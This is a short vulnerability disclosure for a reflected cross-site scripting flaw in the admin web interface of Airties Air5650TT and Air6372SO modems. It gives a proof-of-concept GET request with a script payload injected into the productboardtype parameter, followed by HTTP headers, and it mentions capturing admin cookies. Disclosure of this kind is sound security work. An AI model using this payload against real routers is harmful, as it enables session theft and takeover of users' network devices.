Airties Air5650TT Modem Web Interface Reflected XSS Vulnerability
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Discovered by: KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://h4x0resec.blogspot.com
Love to = > KedAns-Dz & _UnDeRTaKeR_ & BARCOD3 & Septemb0x & ZoRLu ( milw00rm.com )
############################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Hardware/Web App : Airties
|~Affected Version : Air6372SO , Air5650TT
|~Official Web: http://www.airties.com
|~RISK : Light
####################INFO################################
the same network with a social engineering scenario
is on the modem manager to do the admin cookies can be captured
########################################################
----------------------------------------------------------
Proof image: http://i.hizliresim.com/RJAXV6.png
----------------------------------------------------------
                      Request
----------------------------------------------------------
GET http://192.168.2.1/top.html?productboardtype=%3Ch4%3Eh4%20Here%3C/h4%3E%3Cscript%3Ealert(document.domain)%3C/script%3E 
   Request Headers:
      Host[192.168.2.1]
      User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Connection[keep-alive]
   Response Headers:
      Content-Type[text/html]
      DLast-Modified[Tue, 10 Jun 2014 12:43:09 GMT]
      Content-Length[4594]